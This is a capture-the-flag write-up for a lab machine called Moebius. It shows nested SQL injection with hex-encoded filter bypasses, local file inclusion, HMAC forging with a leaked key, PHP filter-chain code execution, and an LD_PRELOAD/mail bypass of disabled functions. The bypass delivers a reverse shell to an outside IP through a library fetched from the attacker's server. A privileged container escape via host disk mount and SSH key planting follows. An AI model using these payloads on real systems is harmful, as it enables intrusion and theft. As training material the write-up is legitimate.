Moebius

A place where you start at some point, and you have to go back to it in the end.

Recon

We start with an nmap scan:

┌──(kali㉿kali)-[~]
└─$ nmap -p- moebius.thm -T4  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-26 11:40 IST
Nmap scan report for moebius.thm (10.10.42.28)
Host is up (0.15s latency).
rDNS record for 10.10.42.28: Moebius.thm
Not shown: 65524 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -sT -p 22,80 moebius.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-26 11:54 IST
Nmap scan report for moebius.thm (10.10.42.28)
Host is up (0.15s latency).
rDNS record for 10.10.42.28: Moebius.thm

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Image Grid
|_http-server-header: Apache/2.4.62 (Debian)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.35 seconds

There are two ports open:

  • 22 (SSH)

  • 80 (HTTP)

When we visit http://moebius.thm/, we're greeted with a cat-themed website that features links to /album.php. Each link includes a short_tag parameter, which changes based on the selected album—set to values like cute, smart, or fav.

We found a QR image, but it's just a Rick Roll with a velociraptor.

Inspecting http://moebius.thm/album.php, we observe that the images from the selected album are loaded through requests to the /image.php endpoint, which takes hash and path parameters to retrieve and display the images.

Lastly, checking http://moebius.thm/image.php with the variables set by album.php, we simply see the image being displayed.

It appears that image.php includes the file specified by the path parameter. However, the hash parameter is likely used as a form of validation—probably generated from the path—to prevent arbitrary file inclusion. Any attempt to modify either the path or hash results in an "Image not found" error, indicating that both values must match in a specific way.

Initial Access

At this point, attempting to guess how the hash is generated for a given path doesn't seem practical. There are countless possible hashing methods, and it's highly likely that the calculation involves a secret key or salt that's not exposed to us, making brute-forcing or reverse-engineering the hash function infeasible.

Instead, revisiting album.php and testing the short_tag parameter with a payload like smart', we observe a database error—indicating that the parameter is vulnerable to SQL injection.

When attempting a basic SQL injection payload like:

smart' AND 1=1;-- -

by visiting:

http://moebius.thm/album.php?short_tag=smart' AND 1=1;-- -

we're met with an error: "Hacking attempt."

This suggests that the application includes some input validation or filtering mechanisms aimed at detecting and blocking suspicious patterns or characters commonly used in SQL injection attacks.

We can use ffuf to fuzz for special characters and identify which ones are being filtered. Through this, we discover that both the ; and / characters are blocked by the application.

Fortunately, this doesn't pose a significant obstacle:

  • The ; character, commonly used to terminate SQL statements, is not strictly necessary in most injection payloads.

  • The / character, typically used in file paths, isn’t relevant for basic SQL injection.

So, we can safely work around these restrictions by crafting payloads that avoid these characters.

SQL Injection

┌──(kali㉿kali)-[~]
└─$ ffuf -u 'http://moebius.thm/album.php?short_tag=FUZZ' -w /usr/share/seclists/Fuzzing/special-chars.txt -mr 'Hacking attempt' 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://moebius.thm/album.php?short_tag=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/special-chars.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Regexp: Hacking attempt
________________________________________________

;                       [Status: 200, Size: 268, Words: 18, Lines: 11, Duration: 163ms]
/                       [Status: 200, Size: 268, Words: 18, Lines: 11, Duration: 2117ms]
:: Progress: [32/32] :: Job [1/1] :: 6 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

Rather than manually enumerating the database, we can streamline the process using sqlmap. Running sqlmap against the vulnerable short_tag parameter quickly reveals two databases:

  • information_schema (the default system metadata database)

  • web (likely containing the application's data)

This allows us to focus our efforts on extracting relevant information from the web database.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://moebius.thm/album.php?short_tag=smart' -p short_tag --risk 3 --level 5 --threads 10 --batch --dbs
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.6.3#dev}
|_ -| . [.]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:16:37 /2025-05-26/
---
.
[TRUNCATED]
.
---
[12:16:59] [INFO] fetching database names
[12:16:59] [INFO] starting 2 threads
[12:16:59] [INFO] retrieved: 'web'
[12:17:00] [INFO] retrieved: 'information_schema'
available databases [2]:                                                                                                                                                                                                                   
[*] information_schema
[*] web

[*] ending @ 12:17:00 /2025-05-26/

Dumping the contents of the web database reveals two tables: images and albums. However, both appear to contain only standard data related to the site’s image and album functionality, with nothing immediately useful or sensitive for exploitation.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://moebius.thm/album.php?short_tag=smart' -p short_tag --risk 3 --level 5 --threads 10 --batch -D web --hex --dump  
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___["]_____ ___ ___  {1.9.5.22#dev}                                                                                                                                                                                                    
|_ -| . ["]     | .'| . |                                                                                                                                                                                                                   
|___|_  [']_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:24:04 /2025-05-26/

[12:24:04] [INFO] resuming back-end DBMS 'mysql' 
[12:24:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
.
[TRUNCATED]
.
---
Database: web                                                                                                                                                                                                                              
Table: images
[16 entries]
+----+----------+----------------------------+
| id | album_id | path                       |
+----+----------+----------------------------+
| 1  | 1        | /var/www/images/cat1.jpg   |
| 2  | 1        | /var/www/images/cat2.jpg   |
| 3  | 1        | /var/www/images/cat3.jpg   |
| 4  | 1        | /var/www/images/cat4.jpg   |
| 5  | 1        | /var/www/images/cat5.avif  |
| 6  | 2        | /var/www/images/cat6.avif  |
| 7  | 2        | /var/www/images/cat7.png   |
| 8  | 2        | /var/www/images/cat8.webp  |
| 9  | 2        | /var/www/images/cat9.webp  |
| 10 | 2        | /var/www/images/cat10.webp |
| 11 | 2        | /var/www/images/cat11.webp |
| 12 | 2        | /var/www/images/cat12.webp |
| 13 | 3        | /var/www/images/cat13.jpg  |
| 14 | 3        | /var/www/images/cat14.webp |
| 15 | 3        | /var/www/images/cat15.webp |
| 16 | 3        | /var/www/images/cat16.webp |
+----+----------+----------------------------+

[12:24:07] [INFO] table 'web.images' dumped to CSV file '/home/kali/.local/share/sqlmap/output/moebius.thm/dump/web/images.csv'
---
.
[TRUNCATED]
.
---
Database: web                                                                                                                                                                                                                              
Table: albums
[3 entries]
+----+----------------+-----------+--------------------------+
| id | name           | short_tag | description              |
+----+----------------+-----------+--------------------------+
| 1  | Cute cats      | cute      | Cutest cats in the world |
| 2  | Smart cats     | smart     | So smart...              |
| 3  | Favourite cats | fav       | My favourite ones        |
+----+----------------+-----------+--------------------------+

[*] ending @ 12:24:09 /2025-05-26/

Since we also have access to the information_schema database, we can use sqlmap with the --sql-query or --sql-shell option to craft custom SQL queries and better understand the context of the injection. Specifically, by using the --sql-shell or the --statement flag, we can attempt to retrieve the actual SQL query being executed behind the scenes. This helps us determine how our input is incorporated into the query, making it easier to craft effective payloads or bypass filters.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://moebius.thm/album.php?short_tag=smart' -p short_tag --risk 3 --level 5 --batch -D web --statement --hex
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[']_____ ___ ___  {1.9.5.22#dev}                                                                                                                                                                                                    
|_ -| . [(]     | .'| . |                                                                                                                                                                                                                   
|___|_  ["]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:40:38 /2025-05-26/

---
.
[TRUNCATED]
.
---
SQL statements [1]:
[*] SELECT id from albums where short_tag = 'smart' AND (SELECT 7269 FROM(SELECT COUNT(*),CONCAT(0x717a706a71,(SELECT MID((HEX(IFNULL(CAST(INFO AS NCHAR),0x20))),301,16) FROM INFORMATION_SCHEMA.PROCESSLIST),0x716b787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- fYJu'

[12:40:48] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/moebius.thm'

[*] ending @ 12:40:48 /2025-05-26/

Looking at the SQL statement SELECT id FROM albums WHERE short_tag = 'smart', we can see that the application is querying the albums table to retrieve the id associated with the album the user selects via the short_tag parameter. This confirms that our input is directly embedded in the WHERE clause, and thus, by manipulating short_tag, we can potentially extract or inject further data through this vulnerable query.

Nested SQL Injection

First, we know that the query we're injecting into — SELECT id FROM albums WHERE short_tag = '<short_tag>' — is used to retrieve the album ID from the albums table. However, by examining the output of album.php when provided with a valid short_tag, we can see that the page also displays image paths. This indicates that the application is not only querying the albums table but also fetching data from the images table, where the image paths are likely stored and linked to their corresponding album IDs.

So, it's very likely that after retrieving the album_id using the query:

SELECT id FROM albums WHERE short_tag = '<short_tag>'

the application then uses that result in a second query, something like:

SELECT * FROM images WHERE album_id = <album_id>

If the album_id returned from the first query is not properly sanitized before being used in the second query, this could open up another SQL injection point—this time in the second query.

Secondly, upon examining the database, we don't see any stored hashes for the images. This suggests that the application likely calculates these hashes dynamically in album.php after fetching the image paths. If that's the case, then by injecting a custom path into the second query, we could potentially trick the application into computing the hash for a file path of our choosing. That would allow us to craft a valid request to image.php and include arbitrary files.

We can test this hypothesis by attempting to control the output of the initial query. For example, using the payload:

test' UNION SELECT 0-- -

in the short_tag parameter like this:

http://moebius.thm/album.php?short_tag=test' UNION SELECT 0-- -

we observe that we can influence the album_id used in the subsequent query. This confirms that we likely have a second point of SQL injection and may be able to leverage it to include arbitrary files through the image.php endpoint.

Now, instead of returning a static id, we can inject a payload like:

test' UNION SELECT "0 OR 1=1-- -"-- -

This causes the first query to return a string that evaluates as a conditional statement rather than a simple integer. So the full query becomes:

SELECT id FROM albums WHERE short_tag = 'test' UNION SELECT "0 OR 1=1-- -"-- -'

If our theory is correct, this returned string—0 OR 1=1-- -—is passed directly into the second query, resulting in something like:

SELECT * FROM images WHERE album_id = 0 OR 1=1-- -

This would cause the application to ignore the actual album_id filter and instead retrieve all images from the images table.

Testing this behavior confirms our assumption: all images are indeed displayed, validating both the existence of a second SQL injection point and the flow of unsanitized data between queries.

Next, we test whether we can control the path returned by the second query using a UNION-based SQL injection.

Using the payload:

test' UNION SELECT "0 UNION SELECT 1,2,3-- -"-- -

we craft a query that injects into the short_tag parameter and forces the application to return a custom result set. This payload results in a query like:

SELECT id FROM albums WHERE short_tag = 'test' UNION SELECT "0 UNION SELECT 1,2,3-- -"-- -'

Assuming the second query looks like:

SELECT * FROM images WHERE album_id = <result of first query>

this effectively becomes:

SELECT * FROM images WHERE album_id = 0 UNION SELECT 1, 2, 3

We observe that the third column (3 in our payload) is reflected as the path on the page. This confirms that the third column in the result set corresponds to the image path, and we now have control over it. With this, we can begin crafting payloads to include arbitrary files via /image.php by controlling both the path and triggering the application to generate the correct hash for it.

Next, we attempt to set the path to /etc/passwd in order to force album.php to calculate the corresponding hash and subsequently include the file via /image.php.

We use the following payload:

test' UNION SELECT "0 UNION SELECT 1,2,'/etc/passwd'-- -"-- -

However, this results in the "Hacking attempt" error once again. This confirms that the / character is filtered by the application, preventing direct inclusion of file paths that contain slashes.

As a result, we'll need to explore alternative bypass techniques—such as encoding the path, using directory traversal tricks, or leveraging symbolic links—if we want to work around this restriction.

However, this isn't actually an issue, as we can easily bypass the filter by hex-encoding the /etc/passwd path. Using the following payload:

test' UNION SELECT "0 UNION SELECT 1,2,0x2f6574632f706173737764-- -"-- -

we successfully avoid the filter. The application processes the request, and we receive the calculated hash for /etc/passwd as:

9fa6eacac1714e10527da6f9cf8570e46a5747d9ace37f4f9e963f990429310d

This confirms that we can include arbitrary files by providing their hex-encoded paths.

Now, by visiting:

http://moebius.thm/image.php?hash=9fa6eacac1714e10527da6f9cf8570e46a5747d9ace37f4f9e963f990429310d&path=/etc/passwd

we confirm that the /etc/passwd file is successfully included and its contents are displayed, proving that the file inclusion vulnerability is working as intended.

At this stage, since we have the ability to include arbitrary files, one possible approach would be to attempt log poisoning in order to escalate the LFI (Local File Inclusion) to RCE (Remote Code Execution). However, after some investigation, we are unable to locate a suitable log file to poison.

Instead, we pivot to using a PHP wrapper, specifically:

php://filter/convert.base64-encode/resource=

This allows us to read and enumerate source code from application files in base64 format.

As a first step, we target album.php. We convert the string:

php://filter/convert.base64-encode/resource=album.php

into its hexadecimal representation:

7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d616c62756d2e706870

And then craft the following payload to use in the path parameter:

test' UNION SELECT "0 UNION SELECT 1,2,0x7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d616c62756d2e706870-- -"-- -

This payload allows us to base64-encode and retrieve the contents of album.php via the LFI vulnerability.

Using the calculated hash, we can successfully read the source code of album.php like this:

album.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Image Grid</title>
<link rel="stylesheet" href="/style.css"> <!-- Link to external CSS file -->
</head>
<body>

<?php

include('dbconfig.php');

try {
    // Create a new PDO instance
    $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
    
    // Set PDO error mode to exception
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    
    if (preg_match('/[\/;]/', $_GET['short_tag'])) {
        // If it does, terminate with an error message
        die("Hacking attempt");
    }

    $album_id = "SELECT id from albums where short_tag = '" . $_GET['short_tag'] . "'";
    $result_album = $conn->prepare($album_id);
    $result_album->execute();
     
    $r=$result_album->fetch();
    $id=$r['id'];
    
     
    // Fetch image IDs from the database
    $sql_ids = "SELECT * FROM images where album_id=" . $id;
    $stmt_path= $conn->prepare($sql_ids);
    $stmt_path->execute();
    
    // Display the album id
    echo "<!-- Short tag: " . $_GET['short_tag'] . " - Album ID: " . $id . "-->\n";
    // Display images in a grid
    echo '<div class="grid-container">' . "\n";
    foreach ($stmt_path as $row) {
        // Get the image ID
        $path = $row["path"];
        $hash = hash_hmac('sha256', $path, $SECRET_KEY);

        // Create link to image.php with image ID
        echo '<div class="image-container">' . "\n";
        echo '<a href="/image.php?hash='. $hash . '&path=' . $path . '">';
        echo '<img src="/image.php?hash='. $hash . '&path=' . $path . '" alt="Image path: ' . $path . '">';
        echo "</a>\n";
        echo "</div>\n";;
    }
    echo "</div>\n";
} catch(PDOException $e) {
    echo "Connection failed: " . $e->getMessage();
}

// Close the connection
$conn = null;

?>
</body>
</html>

Examining the source code of album.php, we find that the application generates hashes using HMAC-SHA256:

$hash = hash_hmac('sha256', $path, $SECRET_KEY);

However, the SECRET_KEY is not defined within album.php itself—since it includes dbconfig.php, it’s likely that the key is set there.

To access dbconfig.php, we apply the same technique: hex-encode the file path and craft a new payload:

test' UNION SELECT "0 UNION SELECT 1,2,0x7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d6462636f6e6669672e706870-- -"-- -

This enables us to retrieve the hash for php://filter/convert.base64-encode/resource=dbconfig.php.

Reading the content of dbconfig.php gives:

dbconfig.php
<?php
// Database connection settings
$servername = "db";
$username = "web";
$password = "TAJnF6YuIot83X3g";
$dbname = "web";


$SECRET_KEY='an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW';
?> 

Now that we’ve obtained the SECRET_KEY, we can generate valid HMAC-SHA256 hashes for any desired path. Here’s a straightforward Python script to automate this process:

hash.py
import hmac
import hashlib
import sys

def calculate_hmac_sha256(secret_key: bytes, message: bytes) -> str:
    """
    Calculate HMAC-SHA256 signature for a given message using the secret key.
    
    Args:
        secret_key (bytes): The secret key used for HMAC.
        message (bytes): The message to sign.
    
    Returns:
        str: The hex-encoded HMAC-SHA256 signature.
    """
    hmac_obj = hmac.new(secret_key, message, hashlib.sha256)
    return hmac_obj.hexdigest()

def main():
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <path>")
        sys.exit(1)
    
    secret_key = b"an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW"
    path = sys.argv[1].encode()
    
    signature = calculate_hmac_sha256(secret_key, path)
    print(f"HMAC-SHA256 Signature: {signature}")

if __name__ == "__main__":
    main()

Using this script, we can quickly generate the hash for any target file. For instance, to view the source code of image.php:

┌──(kali㉿kali)-[~/Desktop/THM]
└─$ python hash.py 'php://filter/convert.base64-encode/resource=image.php' 
HMAC-SHA256 Signature: ddc6eb77667e8f2dc36eeea2cb0883eb1ede14e6f6e32b6244256040dacfe5c6
curl -s 'http://moebius.thm/image.php?hash=ddc6eb77667e8f2dc36eeea2cb0883eb1ede14e6f6e32b6244256040dacfe5c6&path=php://filter/convert.base64-encode/resource=image.php' | base64 -d

And the image.php source code confirms that, once the hash is verified as valid, the file at the specified path is directly included without further validation:

image.php
<?php

include('dbconfig.php');


    // Create a new PDO instance
    
    // Set PDO error mode to exception
    
    // Get the image ID from the query string
    
    // Fetch image path from the database based on the ID
    
    // Fetch image path
    $image_path = $_GET['path'];
    $hash= $_GET['hash'];

    $computed_hash=hash_hmac('sha256', $image_path, $SECRET_KEY);



    
    if ($image_path && $computed_hash === $hash) {
        // Get the MIME type of the image
        $image_info = @getimagesize($image_path);
        if ($image_info && isset($image_info['mime'])) {
            $mime_type = $image_info['mime'];
            // Set the appropriate content type header
            header("Content-type: $mime_type");
            
            // Output the image data
            include($image_path);
        } else {
            header("Content-type: application/octet-stream");
            include($image_path);
        }
    } else {
        echo "Image not found";
    }


?>

To escalate the LFI vulnerability to Remote Code Execution (RCE), another effective approach—besides log poisoning—is using PHP filter chains. This technique leverages PHP's stream wrappers to construct a chain of filters that ultimately decodes into valid PHP code, effectively allowing us to include and execute arbitrary payloads.

We can generate a suitable filter chain for this purpose using the php_filter_chain_generator tool by Synacktiv. This tool constructs complex filter chains that, when included via the LFI vulnerability, result in executable PHP code being evaluated on the server.

┌──(kali㉿kali)-[~/Desktop/THM]
└─$ python ./php_filter_chain_generator.py --chain '<?=eval($_GET[0])?>'
[+] The following gadget chain will generate the following code : <?=eval($_GET[0])?> (base64 value: PD89ZXZhbCgkX0dFVFswXSk/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|.[TRUNCATED].|convert.base64-decode/resource=php://temp

To streamline the exploitation process, we can create a simple Python script that automates the generation of a valid HMAC hash and crafts a request to execute arbitrary PHP code on the target via the LFI vulnerability.

However, attempting to use the system() function to gain remote code execution results in an error:

┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ python code.py                                      
[*] Starting interactive RCE session...
code> system("id");
<br />
<b>Fatal error</b>:  Uncaught Error: Call to undefined function system() in ... [TRUNCATED]

Reviewing the list of disabled PHP functions explains the issue — system and many other critical functions are disabled:

code> echo ini_get('disable_functions');
exec, system, popen, proc_open, proc_nice, shell_exec, passthru, dl, pcntl_alarm, pcntl_async_signals, pcntl_errno, pcntl_exec, pcntl_fork, pcntl_get_last_error, pcntl_getpriority, pcntl_rfork, pcntl_setpriority, pcntl_signal_dispatch, pcntl_signal_get_handler, pcntl_signal, pcntl_sigprocmask, pcntl_sigtimedwait, pcntl_sigwaitinfo, pcntl_strerror, pcntl_unshare, pcntl_wait, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig...

It appears that all major functions typically used for command execution are disabled. However, exploring bypass techniques reveals an interesting approach that leverages the putenv and mail functions.

This method involves using putenv to set the LD_PRELOAD environment variable, which allows a specified shared library to be loaded whenever a program is executed. By then invoking the mail function, the sendmail program is triggered, causing the shared library defined in LD_PRELOAD to be loaded and executed. This technique may provide a way to bypass the disabled functions and achieve command execution.

First, we create a shared library source file (shell.c) containing code to execute a reverse shell command.

shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
  unsetenv("LD_PRELOAD");
  system("bash -c \"bash -i >& /dev/tcp/10.14.101.76/443 0>&1\"");
}

We compile it and send it via a simple HTTP server.

Now, using the PHP code execution to download the library onto the target:

┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ python code.py
[*] Starting interactive RCE session...
code>  $ch = curl_init('http://10.17.15.155/shell.so');curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);file_put_contents('/tmp/shell.so', curl_exec($ch)); curl_close($ch);

We can see the library being downloaded from our server:

┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.42.28 - - [26/May/2025 13:46:55] "GET /shell.so HTTP/1.1" 200 -

We now set the LD_PRELOAD environment variable to point to the shared library we uploaded using the putenv function. Then, by invoking the mail function, we trigger the sendmail program to run, which in turn causes our library to be loaded and executed.

As a result, our reverse shell payload is triggered successfully, granting us a shell as the www-data user within the container.

┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ nc -lvnp 443                                       
listening on [any] 443 ...
connect to [10.17.15.155] from (UNKNOWN) [10.10.42.28] 33476
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bb28d5969dd5:/var/www/html$ 

Privilege Escalation

Inspecting the sudo privileges for the www-data user inside the container shows that it has full root access.

www-data@bb28d5969dd5:/var/www/html$ sudo -l
Matching Defaults entries for www-data on bb28d5969dd5:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on bb28d5969dd5:
    (ALL : ALL) ALL
    (ALL : ALL) NOPASSWD: ALL
www-data@bb28d5969dd5:/var/www/html$ 

Escalating to root inside the container:

www-data@bb28d5969dd5:/var/www/html$ sudo su -
root@bb28d5969dd5:~# id
uid=0(root) gid=0(root) groups=0(root)
root@bb28d5969dd5:~# 

Next, we inspect the effective capabilities of the container:

root@bb28d5969dd5:~# grep CapEff /proc/self/status
CapEff: 000001ffffffffff
root@bb28d5969dd5:~# 

Decoding this value confirms the container holds many capabilities:

┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ capsh --decode=000001ffffffffff
0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore

With these privileges, there are several ways to escape the container. One of the easiest approaches is to mount the host’s root filesystem directly, given that we have access to the host’s block devices.

root@bb28d5969dd5:~# mount /dev/nvme0n1p1 /mnt
root@bb28d5969dd5:~# cat /mnt/etc/hostname
ubuntu-jammy
root@bb28d5969dd5:~# 

To leverage this filesystem access for a shell, we can add our SSH public key to the host’s /root/.ssh/authorized_keys file. First, we generate an SSH key pair:

┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ ssh-keygen -f id_ed25519 -t ed25519
[TRUNCATED]
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC05CmtCETMseeWFrJfquo4iiDUT+zt7zhgeX26G3mN1 kali@kali

Adding the public key to /mnt/root/.ssh/authorized_keys (which corresponds to /root/.ssh/authorized_keys on the host):

root@bb28d5969dd5:~# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC05CmtCETMseeWFrJfquo4iiDUT+zt7zhgeX26G3mN1 kali@kali' >> /mnt/root/.ssh/authorized_keys

We can now use the private key to SSH into the host as the root user, giving us a shell and allowing us to read the user flag located at /root/user.txt.

┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ ssh -i id_ed25519 root@moebius.thm                                                                                                              
The authenticity of host 'moebius.thm (10.10.42.28)' can't be established.
ED25519 key fingerprint is SHA256:nR3FCk8BEcDXdXgQRrMRT/QnD86SYuH8x6Jc7kX7M4I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'moebius.thm' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_ed25519': 
root@ubuntu-jammy:~# id    
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu-jammy:~# s
challenge  snap  user.txt
root@ubuntu-jammy:~# cat user.txt 
[REDACTED]

From the dbconfig.php file, we already knew that the database was hosted on a separate machine named db. Examining the docker-compose.yml file located at /root/challenge/docker-compose.yml, we can confirm that this is indeed another container:

root@ubuntu-jammy:~/challenge# cat docker-compose.yml; echo
version: '3'
version: '3'

services:
  web:
    platform: linux/amd64
    build: ./web
    ports:
      - "80:80"
    restart: always
    privileged: true
  db:
    image: mariadb:10.11.11-jammy
    volumes:
      - "./db:/docker-entrypoint-initdb.d:ro"
    env_file:
      - ./db/db.env
    restart: always
root@ubuntu-jammy:~/challenge# 

By checking the /root/challenge/db/db.env file, we can obtain the root password for the MySQL server:

root@ubuntu-jammy:~/challenge# cat db/db.env; echo
MYSQL_PASSWORD=TAJnF6YuIot83X3g
MYSQL_DATABASE=web
MYSQL_USER=web
MYSQL_ROOT_PASSWORD=gG4i8NFNkcHBwUpd
root@ubuntu-jammy:~/challenge# 

By listing the running containers, we can identify which one is hosting the database:

root@ubuntu-jammy:~/challenge# docker container ls
CONTAINER ID   IMAGE                    COMMAND                  CREATED        STATUS       PORTS                                 NAMES
89366d62e05c   mariadb:10.11.11-jammy   "docker-entrypoint.s…"   2 months ago   Up 3 hours   3306/tcp                              challenge-db-1
bb28d5969dd5   challenge-web            "docker-php-entrypoi…"   2 months ago   Up 3 hours   0.0.0.0:80->80/tcp, [::]:80->80/tcp   challenge-web-1
root@ubuntu-jammy:~/challenge# 

We can get a shell inside the database container as follows:

root@ubuntu-jammy:~/challenge# docker container exec -it 8936 bash
root@89366d62e05c:/# 

Using the password found in the db.env file, we connect to the database and list the available databases. Besides the web database we already accessed, we discover another database named secret.

root@89366d62e05c:/# mysql -u root -pgG4i8NFNkcHBwUpd
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 227
Server version: 10.11.11-MariaDB-ubu2204 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| secret             |
| sys                |
| web                |
+--------------------+
6 rows in set (0.003 sec)

MariaDB [(none)]>

We can now get the root flag.

MariaDB [(none)]> use secret;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [secret]> show tables;
+------------------+
| Tables_in_secret |
+------------------+
| secrets          |
+------------------+
1 row in set (0.000 sec)

MariaDB [secret]> select * from secrets;
+---------------------------------------+
| flag                                  |
+---------------------------------------+
| [REDACTED]                            |
+---------------------------------------+
1 row in set (0.000 sec)

MariaDB [secret]> 

Last updated

Was this helpful?